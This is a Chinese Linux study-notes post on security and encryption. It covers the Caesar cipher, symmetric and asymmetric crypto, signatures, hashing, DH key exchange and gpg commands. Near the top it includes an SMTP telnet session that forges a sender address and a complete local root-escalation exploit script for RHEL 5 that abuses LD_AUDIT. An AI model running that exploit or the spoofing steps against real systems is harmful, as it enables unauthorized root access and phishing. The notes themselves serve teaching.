安全和加密

安全基础
仿冒别人给某人发邮件
telnet 127.0.0.1 25
helo a.com 命令
mail from:god@heaven.com 从某处发来的邮件
rcpt to:root 给某人发邮件
data 数据
subject:hello 邮件名
I miss you 邮件正文
How old are you
. 点代表结束
quit

redhat5普通用户提升管理员权限脚本
mkdir /tmp/wang
ln /bin/ping /tmp/wang/test
exec 3< /tmp/wang/test
rm -rf /tmp/wang
cat > /tmp/wang.c <<eof
void _attribute_((constrector)) init()
{
setuid(0);
system(“/bin/bash”);
}
eof

gcc -w -fPIC -shared -o /tmp/wang /tmp/wang.c
LD_AUDIT=”$ORIGIN” exec /proc/self/fd/3 &> /dev/null

两种加密体系

加密算法
1算法可以公开
2密钥(口令)不公开

love
orzi 每一位字母向后移三位

凯撒密码

对称
data明文–加密key1–data’密文–解密key2–data明文

对称:key1==key2 加密解密都是相同密钥
非对称:key1 != key2 加密解密是不同密钥

非对称
公钥加密对应的另一把私钥解密 Pa,Sa
私钥加密对应的另一把公钥解密 Pb,Sb

数字签名,数据来源的确认
data明文–加密key1=Sa–data’密文–解密key2=Pa–data明文

DES:1G 2G 4分钟 8分钟 对称的
RSA:1G 1G 1分钟 64hour 非对称的

Pb[Sa(data)]

Sb{Pb[Sa(data)]}=Sa(data)

Pa{Sa(data)}=data

md5 128
sha1 160
sha512 512

hash(data)=digest 摘要(密钥)
1 data不同,摘要必不同(密钥)
2 摘要(密钥)相同,data相同
3 不论data大小,digest大小只能算法有关
4 hash算法,不可逆
md5sum case.sh 得出摘要 16进制 数据不变摘要之不变 得到摘要值推算不出data不可逆
sha1sum f1.sh 160位的16进制数
两种算法已被破解 山东大学教授王小云
sha512sum file

1 Pb[Sa(data)]

2 Pb{data+Sa[hash(data)]}
Sb{Pb{data+Sa[hash(data)]}}=data+Sa[hash(data)]
hash(data)=A
Pa{Sa[hash(data)]}=hash(data)=B
A=B?

3 对称 非 hash
key{data+Sa[hash(data)]}+Pb(key)

密钥交换
DH(Deffie-Hellman)
大素数(大质数)能够被1和自己整除的数字
rpm -V bash 查看文件中元数据是否发生变化,包校验
对称密钥
gpg -c file 加密
gpg -d file.gpg 解密
gpg -o file1 -d file.gpg

非对称密钥
gpg –gen–key 生成密钥对
gpg –list–key
cd .gnupg/ 存放生成的密钥的目录
往别的用户导公钥
gpg -a –export -o /app/file.pubkey 生成易读的格式导出到文件
scp … 拷贝
(7)gpg –import /app/file.pub.key 导入公钥
gpg -e -r magedu(公钥) file 用magedu的公钥加密文件
scp .. 拷贝
(6)gpg -d file.gpg 解密

本文来自投稿,不代表Linux运维部落立场,如若转载,请注明出处:http://www.178linux.com/91185

(0)
liuyongweiliuyongwei
上一篇 2018-01-17 15:33
下一篇 2018-01-17 21:59

相关推荐

  • Linux系统启动基本流程

    Linux开机流程 如下图 00×01、BISO自检     硬件检查,检查硬件完整性,之后从开机BIOS开机硬件列表选择BOOT设备     2. 00×02、MBR引导     从bootloader446…

    2017-07-09
  • 文件元数据信息详解

    文件元数据信息详解 文件的元数据是什么? 文件的数据分为两类:一类为数据,即文件的实际内容;另一类为元数据,用来描述文件的特征。 元数据内容: 文件名 文件大小 文件所在数据块 数据块的大小 文件类型 文件所在的Inode 硬链接次数 权限 属主id 属组id 最近一次访问时间戳 最近一次更改文件内容的时间戳 最近一次更改文件元数据的时间戳 查看文件的元数据…

    Linux干货 2017-07-09
  • 【26期】Linux第四周学习小总结

        第四周了,转眼就学习有关Linux的知识一月了,从开始的懵懵懂懂,到现在的懵懵懂懂,不变的是无边无际的知识,改变的是一小片迷雾被我们渐渐拨开了一角,学习的枯燥和充实,陪我们走完这安稳的最后学习时光。     今天分享的是一些我们本周学习的变量方面的东西,那么,什么是变量呢?变量来源于数学,是计算机语言中能储存计…

    2017-08-05
  • 入门——计算机基础简介

    一、计算机系统 计算机系统:由硬件(Hardware)系统和软件(Software)系统俩大部分组成 二、计算机硬件 计算机(computer):是一种能接收和存储信息,并按照存储在其内部的程序对海量数据进行自动、高速的处理,然后把处理结果输出的现代化电子设备。 计算机硬件组成部分 冯.诺依曼体系结构: 1946年数学家冯.诺依曼提出运算器、控制器、存储器、…

    2018-03-27
  • N25_第五周作业

    1、显示当前系统上root、fedora或user1用户的默认shell [root@EASTED ~]# grep -E "(root|fedora|user1)" /etc/passwd root:x:0:0:root:/root:/bin/bash operator:x:11:0:o…

    Linux干货 2017-01-10
  • 三剑客-sed小结

     sed是一款流编辑器工具,通常我们用来对文本进行过滤与替换操作,特别是当你想要对几十个配置文件做统一更改时,你会感受到sed的魅力。它一次处理一行内容。处理时,把当前处理的行存储在临时缓冲区中,称为“模式空间”(pattern space),接着用sed命令处理缓冲区中的内容,处理完成后,把缓冲区的内容送往屏幕。接着处理下一行,这样不断重复,直到…

    系统运维 2016-07-26